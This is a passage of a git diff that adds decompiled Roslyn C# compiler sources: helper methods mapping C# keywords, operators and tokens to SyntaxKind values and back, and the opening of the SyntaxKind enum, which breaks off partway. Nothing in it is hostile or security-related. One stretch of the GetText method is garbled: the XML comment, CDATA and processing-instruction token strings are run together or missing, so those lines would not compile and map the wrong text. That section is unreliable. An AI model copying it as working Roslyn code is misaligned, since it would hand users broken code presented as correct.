SyntaxKind.AddAssignmentExpression, + SyntaxKind.MinusEqualsToken => SyntaxKind.SubtractAssignmentExpression, + SyntaxKind.AsteriskEqualsToken => SyntaxKind.MultiplyAssignmentExpression, + SyntaxKind.SlashEqualsToken => SyntaxKind.DivideAssignmentExpression, + SyntaxKind.PercentEqualsToken => SyntaxKind.ModuloAssignmentExpression, + SyntaxKind.EqualsToken => SyntaxKind.SimpleAssignmentExpression, + SyntaxKind.QuestionQuestionEqualsToken => SyntaxKind.CoalesceAssignmentExpression, + _ => SyntaxKind.None, + }; + } + + public static SyntaxKind GetCheckStatement(SyntaxKind keyword) + { + return keyword switch + { + SyntaxKind.CheckedKeyword => SyntaxKind.CheckedStatement, + SyntaxKind.UncheckedKeyword => SyntaxKind.UncheckedStatement, + _ => SyntaxKind.None, + }; + } + + public static SyntaxKind GetAccessorDeclarationKind(SyntaxKind keyword) + { + return keyword switch + { + SyntaxKind.GetKeyword => SyntaxKind.GetAccessorDeclaration, + SyntaxKind.SetKeyword => SyntaxKind.SetAccessorDeclaration, + SyntaxKind.InitKeyword => SyntaxKind.InitAccessorDeclaration, + SyntaxKind.AddKeyword => SyntaxKind.AddAccessorDeclaration, + SyntaxKind.RemoveKeyword => SyntaxKind.RemoveAccessorDeclaration, + _ => SyntaxKind.None, + }; + } + + public static bool IsAccessorDeclaration(SyntaxKind kind) + { + if (kind - 8896 <= (SyntaxKind)3 || kind == SyntaxKind.InitAccessorDeclaration) + { + return true; + } + return false; + } + + public static bool IsAccessorDeclarationKeyword(SyntaxKind keyword) + { + if (keyword - 8417 <= (SyntaxKind)3 || keyword == SyntaxKind.InitKeyword) + { + return true; + } + return false; + } + + public static SyntaxKind GetSwitchLabelKind(SyntaxKind keyword) + { + return keyword switch + { + SyntaxKind.CaseKeyword => SyntaxKind.CaseSwitchLabel, + SyntaxKind.DefaultKeyword => SyntaxKind.DefaultSwitchLabel, + _ => SyntaxKind.None, + }; + } + + public static SyntaxKind GetBaseTypeDeclarationKind(SyntaxKind kind) + { + if (kind != SyntaxKind.EnumKeyword) + { + return GetTypeDeclarationKind(kind); + } + return SyntaxKind.EnumDeclaration; + } + + public static SyntaxKind GetTypeDeclarationKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.ClassKeyword => SyntaxKind.ClassDeclaration, + SyntaxKind.StructKeyword => SyntaxKind.StructDeclaration, + SyntaxKind.InterfaceKeyword => SyntaxKind.InterfaceDeclaration, + SyntaxKind.RecordKeyword => SyntaxKind.RecordDeclaration, + _ => SyntaxKind.None, + }; + } + + public static SyntaxKind GetKeywordKind(string text) + { + return text switch + { + "bool" => SyntaxKind.BoolKeyword, + "byte" => SyntaxKind.ByteKeyword, + "sbyte" => SyntaxKind.SByteKeyword, + "short" => SyntaxKind.ShortKeyword, + "ushort" => SyntaxKind.UShortKeyword, + "int" => SyntaxKind.IntKeyword, + "uint" => SyntaxKind.UIntKeyword, + "long" => SyntaxKind.LongKeyword, + "ulong" => SyntaxKind.ULongKeyword, + "double" => SyntaxKind.DoubleKeyword, + "float" => SyntaxKind.FloatKeyword, + "decimal" => SyntaxKind.DecimalKeyword, + "string" => SyntaxKind.StringKeyword, + "char" => SyntaxKind.CharKeyword, + "void" => SyntaxKind.VoidKeyword, + "object" => SyntaxKind.ObjectKeyword, + "typeof" => SyntaxKind.TypeOfKeyword, + "sizeof" => SyntaxKind.SizeOfKeyword, + "null" => SyntaxKind.NullKeyword, + "true" => SyntaxKind.TrueKeyword, + "false" => SyntaxKind.FalseKeyword, + "if" => SyntaxKind.IfKeyword, + "else" => SyntaxKind.ElseKeyword, + "while" => SyntaxKind.WhileKeyword, + "for" => SyntaxKind.ForKeyword, + "foreach" => SyntaxKind.ForEachKeyword, + "do" => SyntaxKind.DoKeyword, + "switch" => SyntaxKind.SwitchKeyword, + "case" => SyntaxKind.CaseKeyword, + "default" => SyntaxKind.DefaultKeyword, + "lock" => SyntaxKind.LockKeyword, + "try" => SyntaxKind.TryKeyword, + "throw" => SyntaxKind.ThrowKeyword, + "catch" => SyntaxKind.CatchKeyword, + "finally" => SyntaxKind.FinallyKeyword, + "goto" => SyntaxKind.GotoKeyword, + "break" => SyntaxKind.BreakKeyword, + "continue" => SyntaxKind.ContinueKeyword, + "return" => SyntaxKind.ReturnKeyword, + "public" => SyntaxKind.PublicKeyword, + "private" => SyntaxKind.PrivateKeyword, + "internal" => SyntaxKind.InternalKeyword, + "protected" => SyntaxKind.ProtectedKeyword, + "static" => SyntaxKind.StaticKeyword, + "readonly" => SyntaxKind.ReadOnlyKeyword, + "sealed" => SyntaxKind.SealedKeyword, + "const" => SyntaxKind.ConstKeyword, + "fixed" => SyntaxKind.FixedKeyword, + "stackalloc" => SyntaxKind.StackAllocKeyword, + "volatile" => SyntaxKind.VolatileKeyword, + "new" => SyntaxKind.NewKeyword, + "override" => SyntaxKind.OverrideKeyword, + "abstract" => SyntaxKind.AbstractKeyword, + "virtual" => SyntaxKind.VirtualKeyword, + "event" => SyntaxKind.EventKeyword, + "extern" => SyntaxKind.ExternKeyword, + "ref" => SyntaxKind.RefKeyword, + "out" => SyntaxKind.OutKeyword, + "in" => SyntaxKind.InKeyword, + "is" => SyntaxKind.IsKeyword, + "as" => SyntaxKind.AsKeyword, + "params" => SyntaxKind.ParamsKeyword, + "__arglist" => SyntaxKind.ArgListKeyword, + "__makeref" => SyntaxKind.MakeRefKeyword, + "__reftype" => SyntaxKind.RefTypeKeyword, + "__refvalue" => SyntaxKind.RefValueKeyword, + "this" => SyntaxKind.ThisKeyword, + "base" => SyntaxKind.BaseKeyword, + "namespace" => SyntaxKind.NamespaceKeyword, + "using" => SyntaxKind.UsingKeyword, + "class" => SyntaxKind.ClassKeyword, + "struct" => SyntaxKind.StructKeyword, + "interface" => SyntaxKind.InterfaceKeyword, + "enum" => SyntaxKind.EnumKeyword, + "delegate" => SyntaxKind.DelegateKeyword, + "checked" => SyntaxKind.CheckedKeyword, + "unchecked" => SyntaxKind.UncheckedKeyword, + "unsafe" => SyntaxKind.UnsafeKeyword, + "operator" => SyntaxKind.OperatorKeyword, + "implicit" => SyntaxKind.ImplicitKeyword, + "explicit" => SyntaxKind.ExplicitKeyword, + _ => SyntaxKind.None, + }; + } + + public static SyntaxKind GetOperatorKind(string operatorMetadataName) + { + switch (operatorMetadataName) + { + case "op_CheckedAddition": + case "op_Addition": + return SyntaxKind.PlusToken; + case "op_BitwiseAnd": + return SyntaxKind.AmpersandToken; + case "op_BitwiseOr": + return SyntaxKind.BarToken; + case "op_Decrement": + case "op_CheckedDecrement": + return SyntaxKind.MinusMinusToken; + case "op_CheckedDivision": + case "op_Division": + return SyntaxKind.SlashToken; + case "op_Equality": + return SyntaxKind.EqualsEqualsToken; + case "op_ExclusiveOr": + return SyntaxKind.CaretToken; + case "op_CheckedExplicit": + case "op_Explicit": + return SyntaxKind.ExplicitKeyword; + case "op_False": + return SyntaxKind.FalseKeyword; + case "op_GreaterThan": + return SyntaxKind.GreaterThanToken; + case "op_GreaterThanOrEqual": + return SyntaxKind.GreaterThanEqualsToken; + case "op_Implicit": + return SyntaxKind.ImplicitKeyword; + case "op_Increment": + case "op_CheckedIncrement": + return SyntaxKind.PlusPlusToken; + case "op_Inequality": + return SyntaxKind.ExclamationEqualsToken; + case "op_LeftShift": + return SyntaxKind.LessThanLessThanToken; + case "op_LessThan": + return SyntaxKind.LessThanToken; + case "op_LessThanOrEqual": + return SyntaxKind.LessThanEqualsToken; + case "op_LogicalNot": + return SyntaxKind.ExclamationToken; + case "op_Modulus": + return SyntaxKind.PercentToken; + case "op_CheckedMultiply": + case "op_Multiply": + return SyntaxKind.AsteriskToken; + case "op_OnesComplement": + return SyntaxKind.TildeToken; + case "op_RightShift": + return SyntaxKind.GreaterThanGreaterThanToken; + case "op_UnsignedRightShift": + return SyntaxKind.GreaterThanGreaterThanGreaterThanToken; + case "op_Subtraction": + case "op_CheckedSubtraction": + return SyntaxKind.MinusToken; + case "op_True": + return SyntaxKind.TrueKeyword; + case "op_CheckedUnaryNegation": + case "op_UnaryNegation": + return SyntaxKind.MinusToken; + case "op_UnaryPlus": + return SyntaxKind.PlusToken; + default: + return SyntaxKind.None; + } + } + + public static bool IsCheckedOperator(string operatorMetadataName) + { + switch (operatorMetadataName) + { + case "op_CheckedDecrement": + case "op_CheckedIncrement": + case "op_CheckedAddition": + case "op_CheckedDivision": + case "op_CheckedMultiply": + case "op_CheckedExplicit": + case "op_CheckedUnaryNegation": + case "op_CheckedSubtraction": + return true; + default: + return false; + } + } + + public static SyntaxKind GetPreprocessorKeywordKind(string text) + { + return text switch + { + "true" => SyntaxKind.TrueKeyword, + "false" => SyntaxKind.FalseKeyword, + "default" => SyntaxKind.DefaultKeyword, + "if" => SyntaxKind.IfKeyword, + "else" => SyntaxKind.ElseKeyword, + "elif" => SyntaxKind.ElifKeyword, + "endif" => SyntaxKind.EndIfKeyword, + "region" => SyntaxKind.RegionKeyword, + "endregion" => SyntaxKind.EndRegionKeyword, + "define" => SyntaxKind.DefineKeyword, + "undef" => SyntaxKind.UndefKeyword, + "warning" => SyntaxKind.WarningKeyword, + "error" => SyntaxKind.ErrorKeyword, + "line" => SyntaxKind.LineKeyword, + "pragma" => SyntaxKind.PragmaKeyword, + "hidden" => SyntaxKind.HiddenKeyword, + "checksum" => SyntaxKind.ChecksumKeyword, + "disable" => SyntaxKind.DisableKeyword, + "restore" => SyntaxKind.RestoreKeyword, + "r" => SyntaxKind.ReferenceKeyword, + "load" => SyntaxKind.LoadKeyword, + "nullable" => SyntaxKind.NullableKeyword, + "enable" => SyntaxKind.EnableKeyword, + "warnings" => SyntaxKind.WarningsKeyword, + "annotations" => SyntaxKind.AnnotationsKeyword, + _ => SyntaxKind.None, + }; + } + + public static IEnumerable GetContextualKeywordKinds() + { + for (int i = 8405; i <= 8449; i++) + { + yield return (SyntaxKind)i; + } + } + + public static bool IsContextualKeyword(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.YieldKeyword: + case SyntaxKind.PartialKeyword: + case SyntaxKind.AliasKeyword: + case SyntaxKind.GlobalKeyword: + case SyntaxKind.AssemblyKeyword: + case SyntaxKind.ModuleKeyword: + case SyntaxKind.TypeKeyword: + case SyntaxKind.FieldKeyword: + case SyntaxKind.MethodKeyword: + case SyntaxKind.ParamKeyword: + case SyntaxKind.PropertyKeyword: + case SyntaxKind.TypeVarKeyword: + case SyntaxKind.GetKeyword: + case SyntaxKind.SetKeyword: + case SyntaxKind.AddKeyword: + case SyntaxKind.RemoveKeyword: + case SyntaxKind.WhereKeyword: + case SyntaxKind.FromKeyword: + case SyntaxKind.GroupKeyword: + case SyntaxKind.JoinKeyword: + case SyntaxKind.IntoKeyword: + case SyntaxKind.LetKeyword: + case SyntaxKind.ByKeyword: + case SyntaxKind.SelectKeyword: + case SyntaxKind.OrderByKeyword: + case SyntaxKind.OnKeyword: + case SyntaxKind.EqualsKeyword: + case SyntaxKind.AscendingKeyword: + case SyntaxKind.DescendingKeyword: + case SyntaxKind.NameOfKeyword: + case SyntaxKind.AsyncKeyword: + case SyntaxKind.AwaitKeyword: + case SyntaxKind.WhenKeyword: + case SyntaxKind.OrKeyword: + case SyntaxKind.AndKeyword: + case SyntaxKind.NotKeyword: + case SyntaxKind.WithKeyword: + case SyntaxKind.InitKeyword: + case SyntaxKind.RecordKeyword: + case SyntaxKind.ManagedKeyword: + case SyntaxKind.UnmanagedKeyword: + case SyntaxKind.RequiredKeyword: + case SyntaxKind.ScopedKeyword: + case SyntaxKind.FileKeyword: + case SyntaxKind.VarKeyword: + case SyntaxKind.UnderscoreToken: + return true; + default: + return false; + } + } + + public static bool IsQueryContextualKeyword(SyntaxKind kind) + { + if (kind - 8421 <= (SyntaxKind)12) + { + return true; + } + return false; + } + + public static SyntaxKind GetContextualKeywordKind(string text) + { + return text switch + { + "yield" => SyntaxKind.YieldKeyword, + "partial" => SyntaxKind.PartialKeyword, + "from" => SyntaxKind.FromKeyword, + "group" => SyntaxKind.GroupKeyword, + "join" => SyntaxKind.JoinKeyword, + "into" => SyntaxKind.IntoKeyword, + "let" => SyntaxKind.LetKeyword, + "by" => SyntaxKind.ByKeyword, + "where" => SyntaxKind.WhereKeyword, + "select" => SyntaxKind.SelectKeyword, + "get" => SyntaxKind.GetKeyword, + "set" => SyntaxKind.SetKeyword, + "add" => SyntaxKind.AddKeyword, + "remove" => SyntaxKind.RemoveKeyword, + "orderby" => SyntaxKind.OrderByKeyword, + "alias" => SyntaxKind.AliasKeyword, + "on" => SyntaxKind.OnKeyword, + "equals" => SyntaxKind.EqualsKeyword, + "ascending" => SyntaxKind.AscendingKeyword, + "descending" => SyntaxKind.DescendingKeyword, + "assembly" => SyntaxKind.AssemblyKeyword, + "module" => SyntaxKind.ModuleKeyword, + "type" => SyntaxKind.TypeKeyword, + "field" => SyntaxKind.FieldKeyword, + "method" => SyntaxKind.MethodKeyword, + "param" => SyntaxKind.ParamKeyword, + "property" => SyntaxKind.PropertyKeyword, + "typevar" => SyntaxKind.TypeVarKeyword, + "global" => SyntaxKind.GlobalKeyword, + "async" => SyntaxKind.AsyncKeyword, + "await" => SyntaxKind.AwaitKeyword, + "when" => SyntaxKind.WhenKeyword, + "nameof" => SyntaxKind.NameOfKeyword, + "_" => SyntaxKind.UnderscoreToken, + "var" => SyntaxKind.VarKeyword, + "and" => SyntaxKind.AndKeyword, + "or" => SyntaxKind.OrKeyword, + "not" => SyntaxKind.NotKeyword, + "with" => SyntaxKind.WithKeyword, + "init" => SyntaxKind.InitKeyword, + "record" => SyntaxKind.RecordKeyword, + "managed" => SyntaxKind.ManagedKeyword, + "unmanaged" => SyntaxKind.UnmanagedKeyword, + "required" => SyntaxKind.RequiredKeyword, + "scoped" => SyntaxKind.ScopedKeyword, + "file" => SyntaxKind.FileKeyword, + _ => SyntaxKind.None, + }; + } + + public static string GetText(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.TildeToken => "~", + SyntaxKind.ExclamationToken => "!", + SyntaxKind.DollarToken => "$", + SyntaxKind.PercentToken => "%", + SyntaxKind.CaretToken => "^", + SyntaxKind.AmpersandToken => "&", + SyntaxKind.AsteriskToken => "*", + SyntaxKind.OpenParenToken => "(", + SyntaxKind.CloseParenToken => ")", + SyntaxKind.MinusToken => "-", + SyntaxKind.PlusToken => "+", + SyntaxKind.EqualsToken => "=", + SyntaxKind.OpenBraceToken => "{", + SyntaxKind.CloseBraceToken => "}", + SyntaxKind.OpenBracketToken => "[", + SyntaxKind.CloseBracketToken => "]", + SyntaxKind.BarToken => "|", + SyntaxKind.BackslashToken => "\\", + SyntaxKind.ColonToken => ":", + SyntaxKind.SemicolonToken => ";", + SyntaxKind.DoubleQuoteToken => "\"", + SyntaxKind.SingleQuoteToken => "'", + SyntaxKind.LessThanToken => "<", + SyntaxKind.CommaToken => ",", + SyntaxKind.GreaterThanToken => ">", + SyntaxKind.DotToken => ".", + SyntaxKind.QuestionToken => "?", + SyntaxKind.HashToken => "#", + SyntaxKind.SlashToken => "/", + SyntaxKind.SlashGreaterThanToken => "/>", + SyntaxKind.LessThanSlashToken => " "", + SyntaxKind.XmlCDataStartToken => " "]]>", + SyntaxKind.XmlProcessingInstructionStartToken => " "?>", + SyntaxKind.BarBarToken => "||", + SyntaxKind.AmpersandAmpersandToken => "&&", + SyntaxKind.MinusMinusToken => "--", + SyntaxKind.PlusPlusToken => "++", + SyntaxKind.ColonColonToken => "::", + SyntaxKind.QuestionQuestionToken => "??", + SyntaxKind.MinusGreaterThanToken => "->", + SyntaxKind.ExclamationEqualsToken => "!=", + SyntaxKind.EqualsEqualsToken => "==", + SyntaxKind.EqualsGreaterThanToken => "=>", + SyntaxKind.LessThanEqualsToken => "<=", + SyntaxKind.LessThanLessThanToken => "<<", + SyntaxKind.LessThanLessThanEqualsToken => "<<=", + SyntaxKind.GreaterThanEqualsToken => ">=", + SyntaxKind.GreaterThanGreaterThanToken => ">>", + SyntaxKind.GreaterThanGreaterThanEqualsToken => ">>=", + SyntaxKind.GreaterThanGreaterThanGreaterThanToken => ">>>", + SyntaxKind.GreaterThanGreaterThanGreaterThanEqualsToken => ">>>=", + SyntaxKind.SlashEqualsToken => "/=", + SyntaxKind.AsteriskEqualsToken => "*=", + SyntaxKind.BarEqualsToken => "|=", + SyntaxKind.AmpersandEqualsToken => "&=", + SyntaxKind.PlusEqualsToken => "+=", + SyntaxKind.MinusEqualsToken => "-=", + SyntaxKind.CaretEqualsToken => "^=", + SyntaxKind.PercentEqualsToken => "%=", + SyntaxKind.QuestionQuestionEqualsToken => "??=", + SyntaxKind.DotDotToken => "..", + SyntaxKind.BoolKeyword => "bool", + SyntaxKind.ByteKeyword => "byte", + SyntaxKind.SByteKeyword => "sbyte", + SyntaxKind.ShortKeyword => "short", + SyntaxKind.UShortKeyword => "ushort", + SyntaxKind.IntKeyword => "int", + SyntaxKind.UIntKeyword => "uint", + SyntaxKind.LongKeyword => "long", + SyntaxKind.ULongKeyword => "ulong", + SyntaxKind.DoubleKeyword => "double", + SyntaxKind.FloatKeyword => "float", + SyntaxKind.DecimalKeyword => "decimal", + SyntaxKind.StringKeyword => "string", + SyntaxKind.CharKeyword => "char", + SyntaxKind.VoidKeyword => "void", + SyntaxKind.ObjectKeyword => "object", + SyntaxKind.TypeOfKeyword => "typeof", + SyntaxKind.SizeOfKeyword => "sizeof", + SyntaxKind.NullKeyword => "null", + SyntaxKind.TrueKeyword => "true", + SyntaxKind.FalseKeyword => "false", + SyntaxKind.IfKeyword => "if", + SyntaxKind.ElseKeyword => "else", + SyntaxKind.WhileKeyword => "while", + SyntaxKind.ForKeyword => "for", + SyntaxKind.ForEachKeyword => "foreach", + SyntaxKind.DoKeyword => "do", + SyntaxKind.SwitchKeyword => "switch", + SyntaxKind.CaseKeyword => "case", + SyntaxKind.DefaultKeyword => "default", + SyntaxKind.TryKeyword => "try", + SyntaxKind.CatchKeyword => "catch", + SyntaxKind.FinallyKeyword => "finally", + SyntaxKind.LockKeyword => "lock", + SyntaxKind.GotoKeyword => "goto", + SyntaxKind.BreakKeyword => "break", + SyntaxKind.ContinueKeyword => "continue", + SyntaxKind.ReturnKeyword => "return", + SyntaxKind.ThrowKeyword => "throw", + SyntaxKind.PublicKeyword => "public", + SyntaxKind.PrivateKeyword => "private", + SyntaxKind.InternalKeyword => "internal", + SyntaxKind.ProtectedKeyword => "protected", + SyntaxKind.StaticKeyword => "static", + SyntaxKind.ReadOnlyKeyword => "readonly", + SyntaxKind.SealedKeyword => "sealed", + SyntaxKind.ConstKeyword => "const", + SyntaxKind.FixedKeyword => "fixed", + SyntaxKind.StackAllocKeyword => "stackalloc", + SyntaxKind.VolatileKeyword => "volatile", + SyntaxKind.NewKeyword => "new", + SyntaxKind.OverrideKeyword => "override", + SyntaxKind.AbstractKeyword => "abstract", + SyntaxKind.VirtualKeyword => "virtual", + SyntaxKind.EventKeyword => "event", + SyntaxKind.ExternKeyword => "extern", + SyntaxKind.RefKeyword => "ref", + SyntaxKind.OutKeyword => "out", + SyntaxKind.InKeyword => "in", + SyntaxKind.IsKeyword => "is", + SyntaxKind.AsKeyword => "as", + SyntaxKind.ParamsKeyword => "params", + SyntaxKind.ArgListKeyword => "__arglist", + SyntaxKind.MakeRefKeyword => "__makeref", + SyntaxKind.RefTypeKeyword => "__reftype", + SyntaxKind.RefValueKeyword => "__refvalue", + SyntaxKind.ThisKeyword => "this", + SyntaxKind.BaseKeyword => "base", + SyntaxKind.NamespaceKeyword => "namespace", + SyntaxKind.UsingKeyword => "using", + SyntaxKind.ClassKeyword => "class", + SyntaxKind.StructKeyword => "struct", + SyntaxKind.InterfaceKeyword => "interface", + SyntaxKind.EnumKeyword => "enum", + SyntaxKind.DelegateKeyword => "delegate", + SyntaxKind.CheckedKeyword => "checked", + SyntaxKind.UncheckedKeyword => "unchecked", + SyntaxKind.UnsafeKeyword => "unsafe", + SyntaxKind.OperatorKeyword => "operator", + SyntaxKind.ImplicitKeyword => "implicit", + SyntaxKind.ExplicitKeyword => "explicit", + SyntaxKind.ElifKeyword => "elif", + SyntaxKind.EndIfKeyword => "endif", + SyntaxKind.RegionKeyword => "region", + SyntaxKind.EndRegionKeyword => "endregion", + SyntaxKind.DefineKeyword => "define", + SyntaxKind.UndefKeyword => "undef", + SyntaxKind.WarningKeyword => "warning", + SyntaxKind.ErrorKeyword => "error", + SyntaxKind.LineKeyword => "line", + SyntaxKind.PragmaKeyword => "pragma", + SyntaxKind.HiddenKeyword => "hidden", + SyntaxKind.ChecksumKeyword => "checksum", + SyntaxKind.DisableKeyword => "disable", + SyntaxKind.RestoreKeyword => "restore", + SyntaxKind.ReferenceKeyword => "r", + SyntaxKind.LoadKeyword => "load", + SyntaxKind.NullableKeyword => "nullable", + SyntaxKind.EnableKeyword => "enable", + SyntaxKind.WarningsKeyword => "warnings", + SyntaxKind.AnnotationsKeyword => "annotations", + SyntaxKind.YieldKeyword => "yield", + SyntaxKind.PartialKeyword => "partial", + SyntaxKind.FromKeyword => "from", + SyntaxKind.GroupKeyword => "group", + SyntaxKind.JoinKeyword => "join", + SyntaxKind.IntoKeyword => "into", + SyntaxKind.LetKeyword => "let", + SyntaxKind.ByKeyword => "by", + SyntaxKind.WhereKeyword => "where", + SyntaxKind.SelectKeyword => "select", + SyntaxKind.GetKeyword => "get", + SyntaxKind.SetKeyword => "set", + SyntaxKind.AddKeyword => "add", + SyntaxKind.RemoveKeyword => "remove", + SyntaxKind.OrderByKeyword => "orderby", + SyntaxKind.AliasKeyword => "alias", + SyntaxKind.OnKeyword => "on", + SyntaxKind.EqualsKeyword => "equals", + SyntaxKind.AscendingKeyword => "ascending", + SyntaxKind.DescendingKeyword => "descending", + SyntaxKind.AssemblyKeyword => "assembly", + SyntaxKind.ModuleKeyword => "module", + SyntaxKind.TypeKeyword => "type", + SyntaxKind.FieldKeyword => "field", + SyntaxKind.MethodKeyword => "method", + SyntaxKind.ParamKeyword => "param", + SyntaxKind.PropertyKeyword => "property", + SyntaxKind.TypeVarKeyword => "typevar", + SyntaxKind.GlobalKeyword => "global", + SyntaxKind.NameOfKeyword => "nameof", + SyntaxKind.AsyncKeyword => "async", + SyntaxKind.AwaitKeyword => "await", + SyntaxKind.WhenKeyword => "when", + SyntaxKind.InterpolatedStringStartToken => "$\"", + SyntaxKind.InterpolatedStringEndToken => "\"", + SyntaxKind.InterpolatedVerbatimStringStartToken => "$@\"", + SyntaxKind.UnderscoreToken => "_", + SyntaxKind.VarKeyword => "var", + SyntaxKind.AndKeyword => "and", + SyntaxKind.OrKeyword => "or", + SyntaxKind.NotKeyword => "not", + SyntaxKind.WithKeyword => "with", + SyntaxKind.InitKeyword => "init", + SyntaxKind.RecordKeyword => "record", + SyntaxKind.ManagedKeyword => "managed", + SyntaxKind.UnmanagedKeyword => "unmanaged", + SyntaxKind.RequiredKeyword => "required", + SyntaxKind.ScopedKeyword => "scoped", + SyntaxKind.FileKeyword => "file", + _ => string.Empty, + }; + } + + public static bool IsTypeParameterVarianceKeyword(SyntaxKind kind) + { + if (kind != SyntaxKind.OutKeyword) + { + return kind == SyntaxKind.InKeyword; + } + return true; + } + + public static bool IsDocumentationCommentTrivia(SyntaxKind kind) + { + if (kind != SyntaxKind.SingleLineDocumentationCommentTrivia) + { + return kind == SyntaxKind.MultiLineDocumentationCommentTrivia; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxKind.cs new file mode 100644 index 0000000..ceff520 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxKind.cs @@ -0,0 +1,566 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +public enum SyntaxKind : ushort +{ + None = 0, + List = 1, + TildeToken = 8193, + ExclamationToken = 8194, + DollarToken = 8195, + PercentToken = 8196, + CaretToken = 8197, + AmpersandToken = 8198, + AsteriskToken = 8199, + OpenParenToken = 8200, + CloseParenToken = 8201, + MinusToken = 8202, + PlusToken = 8203, + EqualsToken = 8204, + OpenBraceToken = 8205, + CloseBraceToken = 8206, + OpenBracketToken = 8207, + CloseBracketToken = 8208, + BarToken = 8209, + BackslashToken = 8210, + ColonToken = 8211, + SemicolonToken = 8212, + DoubleQuoteToken = 8213, + SingleQuoteToken = 8214, + LessThanToken = 8215, + CommaToken = 8216, + GreaterThanToken = 8217, + DotToken = 8218, + QuestionToken = 8219, + HashToken = 8220, + SlashToken = 8221, + DotDotToken = 8222, + SlashGreaterThanToken = 8232, + LessThanSlashToken = 8233, + XmlCommentStartToken = 8234, + XmlCommentEndToken = 8235, + XmlCDataStartToken = 8236, + XmlCDataEndToken = 8237, + XmlProcessingInstructionStartToken = 8238, + XmlProcessingInstructionEndToken = 8239, + BarBarToken = 8260, + AmpersandAmpersandToken = 8261, + MinusMinusToken = 8262, + PlusPlusToken = 8263, + ColonColonToken = 8264, + QuestionQuestionToken = 8265, + MinusGreaterThanToken = 8266, + ExclamationEqualsToken = 8267, + EqualsEqualsToken = 8268, + EqualsGreaterThanToken = 8269, + LessThanEqualsToken = 8270, + LessThanLessThanToken = 8271, + LessThanLessThanEqualsToken = 8272, + GreaterThanEqualsToken = 8273, + GreaterThanGreaterThanToken = 8274, + GreaterThanGreaterThanEqualsToken = 8275, + SlashEqualsToken = 8276, + AsteriskEqualsToken = 8277, + BarEqualsToken = 8278, + AmpersandEqualsToken = 8279, + PlusEqualsToken = 8280, + MinusEqualsToken = 8281, + CaretEqualsToken = 8282, + PercentEqualsToken = 8283, + QuestionQuestionEqualsToken = 8284, + GreaterThanGreaterThanGreaterThanToken = 8286, + GreaterThanGreaterThanGreaterThanEqualsToken = 8287, + BoolKeyword = 8304, + ByteKeyword = 8305, + SByteKeyword = 8306, + ShortKeyword = 8307, + UShortKeyword = 8308, + IntKeyword = 8309, + UIntKeyword = 8310, + LongKeyword = 8311, + ULongKeyword = 8312, + DoubleKeyword = 8313, + FloatKeyword = 8314, + DecimalKeyword = 8315, + StringKeyword = 8316, + CharKeyword = 8317, + VoidKeyword = 8318, + ObjectKeyword = 8319, + TypeOfKeyword = 8320, + SizeOfKeyword = 8321, + NullKeyword = 8322, + TrueKeyword = 8323, + FalseKeyword = 8324, + IfKeyword = 8325, + ElseKeyword = 8326, + WhileKeyword = 8327, + ForKeyword = 8328, + ForEachKeyword = 8329, + DoKeyword = 8330, + SwitchKeyword = 8331, + CaseKeyword = 8332, + DefaultKeyword = 8333, + TryKeyword = 8334, + CatchKeyword = 8335, + FinallyKeyword = 8336, + LockKeyword = 8337, + GotoKeyword = 8338, + BreakKeyword = 8339, + ContinueKeyword = 8340, + ReturnKeyword = 8341, + ThrowKeyword = 8342, + PublicKeyword = 8343, + PrivateKeyword = 8344, + InternalKeyword = 8345, + ProtectedKeyword = 8346, + StaticKeyword = 8347, + ReadOnlyKeyword = 8348, + SealedKeyword = 8349, + ConstKeyword = 8350, + FixedKeyword = 8351, + StackAllocKeyword = 8352, + VolatileKeyword = 8353, + NewKeyword = 8354, + OverrideKeyword = 8355, + AbstractKeyword = 8356, + VirtualKeyword = 8357, + EventKeyword = 8358, + ExternKeyword = 8359, + RefKeyword = 8360, + OutKeyword = 8361, + InKeyword = 8362, + IsKeyword = 8363, + AsKeyword = 8364, + ParamsKeyword = 8365, + ArgListKeyword = 8366, + MakeRefKeyword = 8367, + RefTypeKeyword = 8368, + RefValueKeyword = 8369, + ThisKeyword = 8370, + BaseKeyword = 8371, + NamespaceKeyword = 8372, + UsingKeyword = 8373, + ClassKeyword = 8374, + StructKeyword = 8375, + InterfaceKeyword = 8376, + EnumKeyword = 8377, + DelegateKeyword = 8378, + CheckedKeyword = 8379, + UncheckedKeyword = 8380, + UnsafeKeyword = 8381, + OperatorKeyword = 8382, + ExplicitKeyword = 8383, + ImplicitKeyword = 8384, + YieldKeyword = 8405, + PartialKeyword = 8406, + AliasKeyword = 8407, + GlobalKeyword = 8408, + AssemblyKeyword = 8409, + ModuleKeyword = 8410, + TypeKeyword = 8411, + FieldKeyword = 8412, + MethodKeyword = 8413, + ParamKeyword = 8414, + PropertyKeyword = 8415, + TypeVarKeyword = 8416, + GetKeyword = 8417, + SetKeyword = 8418, + AddKeyword = 8419, + RemoveKeyword = 8420, + WhereKeyword = 8421, + FromKeyword = 8422, + GroupKeyword = 8423, + JoinKeyword = 8424, + IntoKeyword = 8425, + LetKeyword = 8426, + ByKeyword = 8427, + SelectKeyword = 8428, + OrderByKeyword = 8429, + OnKeyword = 8430, + EqualsKeyword = 8431, + AscendingKeyword = 8432, + DescendingKeyword = 8433, + NameOfKeyword = 8434, + AsyncKeyword = 8435, + AwaitKeyword = 8436, + WhenKeyword = 8437, + OrKeyword = 8438, + AndKeyword = 8439, + NotKeyword = 8440, + WithKeyword = 8442, + InitKeyword = 8443, + RecordKeyword = 8444, + ManagedKeyword = 8445, + UnmanagedKeyword = 8446, + RequiredKeyword = 8447, + ScopedKeyword = 8448, + FileKeyword = 8449, + ElifKeyword = 8467, + EndIfKeyword = 8468, + RegionKeyword = 8469, + EndRegionKeyword = 8470, + DefineKeyword = 8471, + UndefKeyword = 8472, + WarningKeyword = 8473, + ErrorKeyword = 8474, + LineKeyword = 8475, + PragmaKeyword = 8476, + HiddenKeyword = 8477, + ChecksumKeyword = 8478, + DisableKeyword = 8479, + RestoreKeyword = 8480, + ReferenceKeyword = 8481, + InterpolatedStringStartToken = 8482, + InterpolatedStringEndToken = 8483, + InterpolatedVerbatimStringStartToken = 8484, + LoadKeyword = 8485, 